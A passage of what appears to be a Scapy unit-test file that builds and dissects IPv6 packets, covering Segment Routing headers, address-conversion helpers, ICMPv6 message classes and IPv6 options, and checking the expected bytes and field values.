IPv6(s) assert UDP in p and IPv6ExtHdrSegmentRouting in p assert p[IPv6ExtHdrSegmentRouting].lastentry == 0 and len(p[IPv6ExtHdrSegmentRouting].addresses) == 1 and len(p[IPv6ExtHdrSegmentRouting].tlv_objects) == 0 = IPv6ExtHdrSegmentRouting Class - addresses list - build & dissect s = raw(IPv6()/IPv6ExtHdrSegmentRouting(addresses=["::1", "::2", "::3"])/UDP()) assert s == b'`\x00\x00\x00\x00@+@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x11\x06\x04\x02\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x005\x005\x00\x08\xffr' p = IPv6(s) assert UDP in p and IPv6ExtHdrSegmentRouting in p assert p[IPv6ExtHdrSegmentRouting].lastentry == 2 and len(p[IPv6ExtHdrSegmentRouting].addresses) == 3 and len(p[IPv6ExtHdrSegmentRouting].tlv_objects) == 0 = IPv6ExtHdrSegmentRouting Class - TLVs list - build & dissect s = raw(IPv6()/IPv6ExtHdrSegmentRouting(tlv_objects=[IPv6ExtHdrSegmentRoutingTLVHMAC()])/TCP()) assert s == b'`\x00\x00\x00\x00<+@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x06\x04\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x05\x000\x00\x00\x00\x00\x00\x00\x04\x05\x00\x00\x00\x00\x00\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x8f}\x00\x00' p = IPv6(s) assert TCP in p and IPv6ExtHdrSegmentRouting in p assert p[IPv6ExtHdrSegmentRouting].lastentry == 0 assert len(p[IPv6ExtHdrSegmentRouting].addresses) == 1 and len(p[IPv6ExtHdrSegmentRouting].tlv_objects) == 2 assert isinstance(p[IPv6ExtHdrSegmentRouting].tlv_objects[1], IPv6ExtHdrSegmentRoutingTLVPadN) = IPv6ExtHdrSegmentRouting Class - both lists - build & dissect s = raw(IPv6()/IPv6ExtHdrSegmentRouting(addresses=["::1", "::2", "::3"], tlv_objects=[IPv6ExtHdrSegmentRoutingTLVIngressNode(),IPv6ExtHdrSegmentRoutingTLVEgressNode()])/ICMPv6EchoRequest()) assert s == b'`\x00\x00\x00\x00h+@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01:\x0b\x04\x02\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x01\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x80\x00\x7f\xbb\x00\x00\x00\x00' p = IPv6(s) assert p[IPv6ExtHdrSegmentRouting].lastentry == 2 assert ICMPv6EchoRequest in p and IPv6ExtHdrSegmentRouting in p assert len(p[IPv6ExtHdrSegmentRouting].addresses) == 3 and len(p[IPv6ExtHdrSegmentRouting].tlv_objects) == 2 = IPv6ExtHdrSegmentRouting Class - UDP pseudo-header checksum - build & dissect s= raw(IPv6(src="fc00::1", dst="fd00::42")/IPv6ExtHdrSegmentRouting(addresses=["fd00::42", "fc13::1337"][::-1], segleft=1, lastentry=1) / UDP(sport=11000, dport=4242) / Raw('foobar')) assert s == b'`\x00\x00\x00\x006+@\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xfd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00B\x11\x04\x04\x01\x01\x00\x00\x00\xfc\x13\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x137\xfd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00B*\xf8\x10\x92\x00\x0e\x81\xb7foobar' ############ ############ + Test in6_get6to4Prefix() = Test in6_get6to4Prefix() - 0.0.0.0 address in6_get6to4Prefix("0.0.0.0") == "2002::" = Test in6_get6to4Prefix() - 255.255.255.255 address in6_get6to4Prefix("255.255.255.255") == "2002:ffff:ffff::" = Test in6_get6to4Prefix() - 1.1.1.1 address in6_get6to4Prefix("1.1.1.1") == "2002:101:101::" = Test in6_get6to4Prefix() - invalid address in6_get6to4Prefix("somebadrawing") is None ############ ############ + Test in6_6to4ExtractAddr() = Test in6_6to4ExtractAddr() - 2002:: address in6_6to4ExtractAddr("2002::") == "0.0.0.0" = Test in6_6to4ExtractAddr() - 255.255.255.255 address in6_6to4ExtractAddr("2002:ffff:ffff::") == "255.255.255.255" = Test in6_6to4ExtractAddr() - "2002:101:101::" address in6_6to4ExtractAddr("2002:101:101::") == "1.1.1.1" = Test in6_6to4ExtractAddr() - invalid address in6_6to4ExtractAddr("somebadrawing") is None ########### RFC 4489 - Link-Scoped IPv6 Multicast address ########### = in6_getLinkScopedMcastAddr() : default generation a = in6_getLinkScopedMcastAddr(addr="FE80::") a == 'ff32:ff::' = in6_getLinkScopedMcastAddr() : different valid scope values a = in6_getLinkScopedMcastAddr(addr="FE80::", scope=0) b = in6_getLinkScopedMcastAddr(addr="FE80::", scope=1) c = in6_getLinkScopedMcastAddr(addr="FE80::", scope=2) d = in6_getLinkScopedMcastAddr(addr="FE80::", scope=3) a == 'ff30:ff::' and b == 'ff31:ff::' and c == 'ff32:ff::' and d is None = in6_getLinkScopedMcastAddr() : grpid in different formats a = in6_getLinkScopedMcastAddr(addr="FE80::A12:34FF:FE56:7890", grpid=b"\x12\x34\x56\x78") b = in6_getLinkScopedMcastAddr(addr="FE80::A12:34FF:FE56:7890", grpid="12345678") c = in6_getLinkScopedMcastAddr(addr="FE80::A12:34FF:FE56:7890", grpid=305419896) a == b and b == c ########### ethernet address to iface ID conversion ################# = in6_mactoifaceid() conversion function (test 1) in6_mactoifaceid("FD:00:00:00:00:00", ulbit=0) == 'FD00:00FF:FE00:0000' = in6_mactoifaceid() conversion function (test 2) in6_mactoifaceid("FD:00:00:00:00:00", ulbit=1) == 'FF00:00FF:FE00:0000' = in6_mactoifaceid() conversion function (test 3) in6_mactoifaceid("FD:00:00:00:00:00") == 'FF00:00FF:FE00:0000' = in6_mactoifaceid() conversion function (test 4) in6_mactoifaceid("FF:00:00:00:00:00") == 'FD00:00FF:FE00:0000' = in6_mactoifaceid() conversion function (test 5) in6_mactoifaceid("FF:00:00:00:00:00", ulbit=1) == 'FF00:00FF:FE00:0000' = in6_mactoifaceid() conversion function (test 6) in6_mactoifaceid("FF:00:00:00:00:00", ulbit=0) == 'FD00:00FF:FE00:0000' ########### iface ID conversion ################# = in6_mactoifaceid() conversion function (test 1) in6_ifaceidtomac(in6_mactoifaceid("FD:00:00:00:00:00", ulbit=0)) == 'ff:00:00:00:00:00' = in6_mactoifaceid() conversion function (test 2) in6_ifaceidtomac(in6_mactoifaceid("FD:00:00:00:00:00", ulbit=1)) == 'fd:00:00:00:00:00' = in6_mactoifaceid() conversion function (test 3) in6_ifaceidtomac(in6_mactoifaceid("FD:00:00:00:00:00")) == 'fd:00:00:00:00:00' = in6_mactoifaceid() conversion function (test 4) in6_ifaceidtomac(in6_mactoifaceid("FF:00:00:00:00:00")) == 'ff:00:00:00:00:00' = in6_mactoifaceid() conversion function (test 5) in6_ifaceidtomac(in6_mactoifaceid("FF:00:00:00:00:00", ulbit=1)) == 'fd:00:00:00:00:00' = in6_mactoifaceid() conversion function (test 6) in6_ifaceidtomac(in6_mactoifaceid("FF:00:00:00:00:00", ulbit=0)) == 'ff:00:00:00:00:00' = in6_addrtomac() conversion function (test 1) in6_addrtomac("FE80::" + in6_mactoifaceid("FD:00:00:00:00:00", ulbit=0)) == 'ff:00:00:00:00:00' = in6_addrtomac() conversion function (test 2) in6_addrtomac("FE80::" + in6_mactoifaceid("FD:00:00:00:00:00", ulbit=1)) == 'fd:00:00:00:00:00' = in6_addrtomac() conversion function (test 3) in6_addrtomac("FE80::" + in6_mactoifaceid("FD:00:00:00:00:00")) == 'fd:00:00:00:00:00' = in6_addrtomac() conversion function (test 4) in6_addrtomac("FE80::" + in6_mactoifaceid("FF:00:00:00:00:00")) == 'ff:00:00:00:00:00' = in6_addrtomac() conversion function (test 5) in6_addrtomac("FE80::" + in6_mactoifaceid("FF:00:00:00:00:00", ulbit=1)) == 'fd:00:00:00:00:00' = in6_addrtomac() conversion function (test 6) in6_addrtomac("FE80::" + in6_mactoifaceid("FF:00:00:00:00:00", ulbit=0)) == 'ff:00:00:00:00:00' ########### RFC 3041 related function ############################### = Test in6_getRandomizedIfaceId import socket for a in range(10): s1, s2 = in6_getRandomizedIfaceId('20b:93ff:feeb:2d3') s1, s2 tmp = inet_pton(socket.AF_INET6, "::" + s1)[8:] tmp assert (orb(tmp[0]) & 0x04) == 0 s1, s2 = in6_getRandomizedIfaceId('20b:93ff:feeb:2d3', previous=s2) s1, s2 tmp = inet_pton(socket.AF_INET6, "::" + s1)[8:] assert (orb(tmp[0]) & 0x04) == 0 assert in6_getRandomizedIfaceId('20b:93ff:feeb:2d3', previous='d006:d540:db11:b092') == ('721f:11fa:3743:fc7f', '5946:5272:7fcc:108a') ########### RFC 1924 related function ############################### = Test RFC 1924 function - in6_ctop() basic test in6_ctop("4)+k&C#VzJ4br>0wv%Yp") == '1080::8:800:200c:417a' = Test RFC 1924 function - in6_ctop() with character outside charset in6_ctop("4)+k&C#VzJ4br>0wv%Y'") == None = Test RFC 1924 function - in6_ctop() with bad length address in6_ctop("4)+k&C#VzJ4br>0wv%Y") == None = Test RFC 1924 function - in6_ptoc() basic test in6_ptoc('1080::8:800:200c:417a') == '4)+k&C#VzJ4br>0wv%Yp' = Test RFC 1924 function - in6_ptoc() basic test in6_ptoc('1080::8:800:200c:417a') == '4)+k&C#VzJ4br>0wv%Yp' = Test RFC 1924 function - in6_ptoc() with bad input in6_ptoc('1080:::8:800:200c:417a') == None ########### in6_getAddrType ######################################### = in6_getAddrType - 6to4 addresses in6_getAddrType("2002::1") == (IPV6_ADDR_UNICAST | IPV6_ADDR_GLOBAL | IPV6_ADDR_6TO4) = in6_getAddrType - Assignable Unicast global address in6_getAddrType("2001:db8::1") == (IPV6_ADDR_UNICAST | IPV6_ADDR_GLOBAL) = in6_getAddrType - Multicast global address in6_getAddrType("FF0E::1") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_MULTICAST) = in6_getAddrType - Multicast local address in6_getAddrType("FF02::1") == (IPV6_ADDR_LINKLOCAL | IPV6_ADDR_MULTICAST) = in6_getAddrType - Unicast Link-Local address in6_getAddrType("FE80::") == (IPV6_ADDR_UNICAST | IPV6_ADDR_LINKLOCAL) = in6_getAddrType - Loopback address in6_getAddrType("::1") == IPV6_ADDR_LOOPBACK = in6_getAddrType - Unspecified address in6_getAddrType("::") == IPV6_ADDR_UNSPECIFIED = in6_getAddrType - Unassigned Global Unicast address in6_getAddrType("4000::") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST) = in6_getAddrType - Weird address (FE::1) in6_getAddrType("FE::") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST) = in6_getAddrType - Weird address (FE8::1) in6_getAddrType("FE8::1") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST) = in6_getAddrType - Weird address (1::1) in6_getAddrType("1::1") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST) = in6_getAddrType - Weird address (1000::1) in6_getAddrType("1000::1") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST) ########### ICMPv6DestUnreach Class ################################# = ICMPv6DestUnreach Class - Basic Build (no argument) raw(ICMPv6DestUnreach()) == b'\x01\x00\x00\x00\x00\x00\x00\x00' = ICMPv6DestUnreach Class - Basic Build over IPv6 (for cksum and overload) raw(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6DestUnreach()) == b'`\x00\x00\x00\x00\x08:@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x01\x00\x14e\x00\x00\x00\x00' = ICMPv6DestUnreach Class - Basic Build over IPv6 with some payload raw(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6DestUnreach()/IPv6(src="2047::cafe", dst="2048::deca")) == b'`\x00\x00\x00\x000:@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x01\x00\x8e\xa3\x00\x00\x00\x00`\x00\x00\x00\x00\x00;@ G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca' = ICMPv6DestUnreach Class - Dissection with default values and some payload a = IPv6(raw(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6DestUnreach()/IPv6(src="2047::cafe", dst="2048::deca"))) a.plen == 48 and a.nh == 58 and ICMPv6DestUnreach in a and a[ICMPv6DestUnreach].type == 1 and a[ICMPv6DestUnreach].code == 0 and a[ICMPv6DestUnreach].cksum == 0x8ea3 and a[ICMPv6DestUnreach].unused == 0 and IPerror6 in a = ICMPv6DestUnreach Class - Dissection with specific values a=IPv6(raw(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6DestUnreach(code=1, cksum=0x6666, unused=0x7777)/IPv6(src="2047::cafe", dst="2048::deca"))) a.plen == 48 and a.nh == 58 and ICMPv6DestUnreach in a and a[ICMPv6DestUnreach].type == 1 and a[ICMPv6DestUnreach].cksum == 0x6666 and a[ICMPv6DestUnreach].unused == 0x7777 and IPerror6 in a[ICMPv6DestUnreach] = ICMPv6DestUnreach Class - checksum computation related stuff a=IPv6(raw(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6DestUnreach(code=1, cksum=0x6666, unused=0x7777)/IPv6(src="2047::cafe", dst="2048::deca")/TCP())) b=IPv6(raw(IPv6(src="2047::cafe", dst="2048::deca")/TCP())) a[ICMPv6DestUnreach][TCPerror].chksum == b.chksum ########### ICMPv6PacketTooBig Class ################################ = ICMPv6PacketTooBig Class - Basic Build (no argument) raw(ICMPv6PacketTooBig()) == b'\x02\x00\x00\x00\x00\x00\x05\x00' = ICMPv6PacketTooBig Class - Basic Build over IPv6 (for cksum and overload) raw(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6PacketTooBig()) == b'`\x00\x00\x00\x00\x08:@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x02\x00\x0ee\x00\x00\x05\x00' = ICMPv6PacketTooBig Class - Basic Build over IPv6 with some payload raw(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6PacketTooBig()/IPv6(src="2047::cafe", dst="2048::deca")) == b'`\x00\x00\x00\x000:@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x02\x00\x88\xa3\x00\x00\x05\x00`\x00\x00\x00\x00\x00;@ G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca' = ICMPv6PacketTooBig Class - Dissection with default values and some payload a = IPv6(raw(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6PacketTooBig()/IPv6(src="2047::cafe", dst="2048::deca"))) a.plen == 48 and a.nh == 58 and ICMPv6PacketTooBig in a and a[ICMPv6PacketTooBig].type == 2 and a[ICMPv6PacketTooBig].code == 0 and a[ICMPv6PacketTooBig].cksum == 0x88a3 and a[ICMPv6PacketTooBig].mtu == 1280 and IPerror6 in a True = ICMPv6PacketTooBig Class - Dissection with specific values a=IPv6(raw(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6PacketTooBig(code=2, cksum=0x6666, mtu=1460)/IPv6(src="2047::cafe", dst="2048::deca"))) a.plen == 48 and a.nh == 58 and ICMPv6PacketTooBig in a and a[ICMPv6PacketTooBig].type == 2 and a[ICMPv6PacketTooBig].code == 2 and a[ICMPv6PacketTooBig].cksum == 0x6666 and a[ICMPv6PacketTooBig].mtu == 1460 and IPerror6 in a = ICMPv6PacketTooBig Class - checksum computation related stuff a=IPv6(raw(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6PacketTooBig(code=1, cksum=0x6666, mtu=0x7777)/IPv6(src="2047::cafe", dst="2048::deca")/TCP())) b=IPv6(raw(IPv6(src="2047::cafe", dst="2048::deca")/TCP())) a[ICMPv6PacketTooBig][TCPerror].chksum == b.chksum ########### ICMPv6TimeExceeded Class ################################ # To be done but not critical. Same mechanisms and format as # previous ones. ########### ICMPv6ParamProblem Class ################################ # See previous note ############ ############ + Test ICMPv6EchoRequest Class = ICMPv6EchoRequest - Basic Instantiation raw(ICMPv6EchoRequest()) == b'\x80\x00\x00\x00\x00\x00\x00\x00' = ICMPv6EchoRequest - Instantiation with specific values raw(ICMPv6EchoRequest(code=0xff, cksum=0x1111, id=0x2222, seq=0x3333, data="thisissomestring")) == b'\x80\xff\x11\x11""33thisissomestring' = ICMPv6EchoRequest - Basic dissection a=ICMPv6EchoRequest(b'\x80\x00\x00\x00\x00\x00\x00\x00') a.type == 128 and a.code == 0 and a.cksum == 0 and a.id == 0 and a.seq == 0 and a.data == b"" = ICMPv6EchoRequest - Dissection with specific values a=ICMPv6EchoRequest(b'\x80\xff\x11\x11""33thisissomerawing') a.type == 128 and a.code == 0xff and a.cksum == 0x1111 and a.id == 0x2222 and a.seq == 0x3333 and a.data == b"thisissomerawing" = ICMPv6EchoRequest - Automatic checksum computation and field overloading (build) raw(IPv6(dst="2001::cafe", src="2001::deca", hlim=64)/ICMPv6EchoRequest()) == b'`\x00\x00\x00\x00\x08:@ \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x80\x00\x95\xf1\x00\x00\x00\x00' = ICMPv6EchoRequest - Automatic checksum computation and field overloading (dissection) a=IPv6(b'`\x00\x00\x00\x00\x08:@ \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x80\x00\x95\xf1\x00\x00\x00\x00') isinstance(a, IPv6) and a.nh == 58 and isinstance(a.payload, ICMPv6EchoRequest) and a.payload.cksum == 0x95f1 ############ ############ + Test ICMPv6EchoReply Class = ICMPv6EchoReply - Basic Instantiation raw(ICMPv6EchoReply()) == b'\x81\x00\x00\x00\x00\x00\x00\x00' = ICMPv6EchoReply - Instantiation with specific values raw(ICMPv6EchoReply(code=0xff, cksum=0x1111, id=0x2222, seq=0x3333, data="thisissomestring")) == b'\x81\xff\x11\x11""33thisissomestring' = ICMPv6EchoReply - Basic dissection a=ICMPv6EchoReply(b'\x80\x00\x00\x00\x00\x00\x00\x00') a.type == 128 and a.code == 0 and a.cksum == 0 and a.id == 0 and a.seq == 0 and a.data == b"" = ICMPv6EchoReply - Dissection with specific values a=ICMPv6EchoReply(b'\x80\xff\x11\x11""33thisissomerawing') a.type == 128 and a.code == 0xff and a.cksum == 0x1111 and a.id == 0x2222 and a.seq == 0x3333 and a.data == b"thisissomerawing" = ICMPv6EchoReply - Automatic checksum computation and field overloading (build) raw(IPv6(dst="2001::cafe", src="2001::deca", hlim=64)/ICMPv6EchoReply()) == b'`\x00\x00\x00\x00\x08:@ \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x81\x00\x94\xf1\x00\x00\x00\x00' = ICMPv6EchoReply - Automatic checksum computation and field overloading (dissection) a=IPv6(b'`\x00\x00\x00\x00\x08:@ \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x80\x00\x95\xf1\x00\x00\x00\x00') isinstance(a, IPv6) and a.nh == 58 and isinstance(a.payload, ICMPv6EchoRequest) and a.payload.cksum == 0x95f1 ########### ICMPv6EchoReply/Request answers() and hashret() ######### = ICMPv6EchoRequest and ICMPv6EchoReply - hashret() test 1 b=IPv6(src="2047::deca", dst="2048::cafe")/ICMPv6EchoReply(data="somedata") a=IPv6(src="2048::cafe", dst="2047::deca")/ICMPv6EchoRequest(data="somedata") b.hashret() == a.hashret() # data are not taken into account for hashret = ICMPv6EchoRequest and ICMPv6EchoReply - hashret() test 2 b=IPv6(src="2047::deca", dst="2048::cafe")/ICMPv6EchoReply(data="somedata") a=IPv6(src="2048::cafe", dst="2047::deca")/ICMPv6EchoRequest(data="otherdata") b.hashret() == a.hashret() = ICMPv6EchoRequest and ICMPv6EchoReply - hashret() test 3 b=IPv6(src="2047::deca", dst="2048::cafe")/ICMPv6EchoReply(id=0x6666, seq=0x7777,data="somedata") a=IPv6(src="2048::cafe", dst="2047::deca")/ICMPv6EchoRequest(id=0x6666, seq=0x8888, data="somedata") b.hashret() != a.hashret() = ICMPv6EchoRequest and ICMPv6EchoReply - hashret() test 4 b=IPv6(src="2047::deca", dst="2048::cafe")/ICMPv6EchoReply(id=0x6666, seq=0x7777,data="somedata") a=IPv6(src="2048::cafe", dst="2047::deca")/ICMPv6EchoRequest(id=0x8888, seq=0x7777, data="somedata") b.hashret() != a.hashret() = ICMPv6EchoRequest and ICMPv6EchoReply - answers() test 5 b=IPv6(src="2047::deca", dst="2048::cafe")/ICMPv6EchoReply(data="somedata") a=IPv6(src="2048::cafe", dst="2047::deca")/ICMPv6EchoRequest(data="somedata") (a > b) == True = ICMPv6EchoRequest and ICMPv6EchoReply - answers() test 6 b=IPv6(src="2047::deca", dst="2048::cafe")/ICMPv6EchoReply(id=0x6666, seq=0x7777, data="somedata") a=IPv6(src="2048::cafe", dst="2047::deca")/ICMPv6EchoRequest(id=0x6666, seq=0x7777, data="somedata") (a > b) == True = ICMPv6EchoRequest and ICMPv6EchoReply - answers() test 7 - IPv6ExtHdrDestOpt b = IPv6(b'`\x0f\\\xe3\x00\x08:@\xfe\x80\x00\x00\x00\x00\x00\x00\x02PV\xff\xfe\x84\x1c\x14\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&\x81\x00\r\xad\x00\x00\x00\x00') a = IPv6(b'`\x00\x00\x00\x00\x10<\xff\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&\xfe\x80\x00\x00\x00\x00\x00\x00\x02PV\xff\xfe\x84\x1c\x14:\x00\x00\x00\x00\x00\x00\x00\x80\x00\x0e\xad\x00\x00\x00\x00') assert a.hashret() == b.hashret() assert b.answers(a) = ICMPv6EchoRequest and ICMPv6EchoReply - answers() test 8 - (live) use Net6 ~ netaccess ipv6 a = IPv6(dst="www.google.com")/ICMPv6EchoRequest() b = IPv6(src="www.google.com", dst=a.src)/ICMPv6EchoReply() assert b.answers(a) assert (a > b) ########### ICMPv6MRD* Classes ###################################### = ICMPv6MRD_Advertisement - Basic instantiation raw(ICMPv6MRD_Advertisement()) == b'\x97\x14\x00\x00\x00\x00\x00\x00' = ICMPv6MRD_Advertisement - Instantiation with specific values raw(ICMPv6MRD_Advertisement(advinter=0xdd, queryint=0xeeee, robustness=0xffff)) == b'\x97\xdd\x00\x00\xee\xee\xff\xff' = ICMPv6MRD_Advertisement - Basic Dissection and overloading mechanisms a=Ether(raw(Ether()/IPv6()/ICMPv6MRD_Advertisement())) a.dst == "33:33:00:00:00:02" and IPv6 in a and a[IPv6].plen == 8 and a[IPv6].nh == 58 and a[IPv6].hlim == 1 and a[IPv6].dst == "ff02::2" and ICMPv6MRD_Advertisement in a and a[ICMPv6MRD_Advertisement].type == 151 and a[ICMPv6MRD_Advertisement].advinter == 20 and a[ICMPv6MRD_Advertisement].queryint == 0 and a[ICMPv6MRD_Advertisement].robustness == 0 = ICMPv6MRD_Solicitation - Basic dissection raw(ICMPv6MRD_Solicitation()) == b'\x98\x00\x00\x00' = ICMPv6MRD_Solicitation - Instantiation with specific values raw(ICMPv6MRD_Solicitation(res=0xbb)) == b'\x98\xbb\x00\x00' = ICMPv6MRD_Solicitation - Basic Dissection and overloading mechanisms a=Ether(raw(Ether()/IPv6()/ICMPv6MRD_Solicitation())) a.dst == "33:33:00:00:00:02" and IPv6 in a and a[IPv6].plen == 4 and a[IPv6].nh == 58 and a[IPv6].hlim == 1 and a[IPv6].dst == "ff02::2" and ICMPv6MRD_Solicitation in a and a[ICMPv6MRD_Solicitation].type == 152 and a[ICMPv6MRD_Solicitation].res == 0 = ICMPv6MRD_Termination Basic instantiation raw(ICMPv6MRD_Termination()) == b'\x99\x00\x00\x00' = ICMPv6MRD_Termination - Instantiation with specific values raw(ICMPv6MRD_Termination(res=0xbb)) == b'\x99\xbb\x00\x00' = ICMPv6MRD_Termination - Basic Dissection and overloading mechanisms a=Ether(raw(Ether()/IPv6()/ICMPv6MRD_Termination())) a.dst == "33:33:00:00:00:6a" and IPv6 in a and a[IPv6].plen == 4 and a[IPv6].nh == 58 and a[IPv6].hlim == 1 and a[IPv6].dst == "ff02::6a" and ICMPv6MRD_Termination in a and a[ICMPv6MRD_Termination].type == 153 and a[ICMPv6MRD_Termination].res == 0 ############ ############ + Test HBHOptUnknown Class = HBHOptUnknown - Basic Instantiation raw(HBHOptUnknown()) == b'\x01\x00' = HBHOptUnknown - Basic Dissection a=HBHOptUnknown(b'\x01\x00') a.otype == 0x01 and a.optlen == 0 and a.optdata == b"" = HBHOptUnknown - Automatic optlen computation raw(HBHOptUnknown(optdata="B"*10)) == b'\x01\nBBBBBBBBBB' = HBHOptUnknown - Instantiation with specific values raw(HBHOptUnknown(optlen=9, optdata="B"*10)) == b'\x01\tBBBBBBBBBB' = HBHOptUnknown - Dissection with specific values a=HBHOptUnknown(b'\x01\tBBBBBBBBBB') a.otype == 0x01 and a.optlen == 9 and a.optdata == b"B"*9 and isinstance(a.payload, Raw) and a.payload.load == b"B" ############ ############ + Test Pad1 Class = Pad1 - Basic Instantiation raw(Pad1()) == b'\x00' = Pad1 - Basic Dissection raw(Pad1(b'\x00')) == b'\x00' ############ ############ + Test PadN Class = PadN - Basic Instantiation raw(PadN()) == b'\x01\x00' = PadN - Optlen Automatic computation raw(PadN(optdata="B"*10)) == b'\x01\nBBBBBBBBBB' = PadN - Basic Dissection a=PadN(b'\x01\x00') a.otype == 1 and a.optlen == 0 and a.optdata == b"" = PadN - Dissection with specific values a=PadN(b'\x01\x0cBBBBBBBBBB') a.otype == 1 and a.optlen == 12 and a.optdata == b'BBBBBBBBBB' = PadN - Instantiation with forced optlen raw(PadN(optdata="B"*10, optlen=9)) == b'\x01\x09BBBBBBBBBB' ############ ############ + Test RouterAlert Class (RFC 2711) = RouterAlert - Basic Instantiation raw(RouterAlert()) == b'\x05\x02\x00\x00' = RouterAlert - Basic Dissection a=RouterAlert(b'\x05\x02\x00\x00') a.otype == 0x05 and a.optlen == 2 and a.value == 00 = RouterAlert - Instantiation with specific values raw(RouterAlert(optlen=3, value=0xffff)) == b'\x05\x03\xff\xff' = RouterAlert - Instantiation with specific values a=RouterAlert(b'\x05\x03\xff\xff') a.otype == 0x05 and a.optlen == 3 and a.value == 0xffff ############ ############ + Test RPL Option (RFC 6553) = RplOption - Basic Instantiation raw(RplOption()) == b'c\x04\x00\x00\x00\x00' = RplOption - Basic Dissection a=RplOption(b'c\x04\x00\x00\x00\x00') a.otype == 0x63 and a.optlen == 4 and a.Down == False and a.RankError == 0 and a.ForwardError == 0 and a.RplInstanceId == 0 and a.SenderRank == 0 = RplOption - Instantiation with specific values a=RplOption(RplInstanceId=0x1e, SenderRank=0x800) a.otype == 0x63 and a.optlen == 4 and a.Down == False and a.RankError == 0 and a.ForwardError == 0 and a.RplInstanceId == 0x1e and a.SenderRank == 0x800 = RplOption - Instantiation with specific values a=RplOption(Down=True, RplInstanceId=0x1e, SenderRank=0x800) a.otype == 0x63 and a.optlen == 4 and a.Down == True and a.RankError == 0 and a.ForwardError == 0 and a.RplInstanceId == 0x1e and a.SenderRank == 0x800 raw(a) == b'c\x04\x80\x1e\x08\x00' ############ ############ + Test Jumbo Class (RFC 2675) = Jumbo - Basic Instantiation raw(Jumbo()) == b'\xc2\x04\x00\x00\x00\x00' = Jumbo - Basic Dissection a=Jumbo(b'\xc2\x04\x00\x00\x00\x00') a.otype == 0xC2 and a.optlen == 4 and a.jumboplen == 0 = Jumbo - Instantiation with specific values raw(Jumbo(optlen=6, jumboplen=0xffffffff)) == 